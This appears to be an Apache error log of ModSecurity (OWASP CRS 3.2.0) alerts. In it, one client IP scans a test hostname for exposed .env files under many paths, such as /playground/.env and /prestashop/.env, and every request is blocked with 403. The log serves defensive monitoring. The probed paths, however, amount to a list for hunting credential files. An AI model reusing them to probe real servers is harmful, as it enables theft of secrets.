[Thu Feb 26 01:03:13.671674 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /playground/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJAAAAAM&quot;]
[Thu Feb 26 01:03:13.671953 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJAAAAAM&quot;]
[Thu Feb 26 01:03:13.672123 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJAAAAAM&quot;]
[Thu Feb 26 01:03:13.694137 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugin_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJQAAAAM&quot;]
[Thu Feb 26 01:03:13.694436 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJQAAAAM&quot;]
[Thu Feb 26 01:03:13.694613 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJQAAAAM&quot;]
[Thu Feb 26 01:03:13.733711 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJgAAAAM&quot;]
[Thu Feb 26 01:03:13.733950 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJgAAAAM&quot;]
[Thu Feb 26 01:03:13.734120 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJgAAAAM&quot;]
[Thu Feb 26 01:03:13.763563 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /post-deployment/.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJwAAAAM&quot;]
[Thu Feb 26 01:03:13.763817 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJwAAAAM&quot;]
[Thu Feb 26 01:03:13.763976 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElJwAAAAM&quot;]
[Thu Feb 26 01:03:13.806572 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /postfixadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElKAAAAAM&quot;]
[Thu Feb 26 01:03:13.806806 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElKAAAAAM&quot;]
[Thu Feb 26 01:03:13.806950 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ-NwQ3HqGC30X9HPoElKAAAAAM&quot;]
[Thu Feb 26 01:03:13.855120 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pictures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QEgAAAAU&quot;]
[Thu Feb 26 01:03:13.855371 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QEgAAAAU&quot;]
[Thu Feb 26 01:03:13.855529 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QEgAAAAU&quot;]
[Thu Feb 26 01:03:13.887946 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QEwAAAAU&quot;]
[Thu Feb 26 01:03:13.888207 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QEwAAAAU&quot;]
[Thu Feb 26 01:03:13.888364 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QEwAAAAU&quot;]
[Thu Feb 26 01:03:13.927914 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /playground/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QFAAAAAU&quot;]
[Thu Feb 26 01:03:13.928157 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QFAAAAAU&quot;]
[Thu Feb 26 01:03:13.928308 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QFAAAAAU&quot;]
[Thu Feb 26 01:03:13.937078 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh0wAAAAE&quot;]
[Thu Feb 26 01:03:13.937329 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh0wAAAAE&quot;]
[Thu Feb 26 01:03:13.937484 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh0wAAAAE&quot;]
[Thu Feb 26 01:03:13.962911 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugin_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QFQAAAAU&quot;]
[Thu Feb 26 01:03:13.963161 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QFQAAAAU&quot;]
[Thu Feb 26 01:03:13.963305 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ-NwSk1SHHL9bIjTI-QFQAAAAU&quot;]
[Thu Feb 26 01:03:13.968757 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh1AAAAAE&quot;]
[Thu Feb 26 01:03:13.968992 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh1AAAAAE&quot;]
[Thu Feb 26 01:03:13.969164 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh1AAAAAE&quot;]
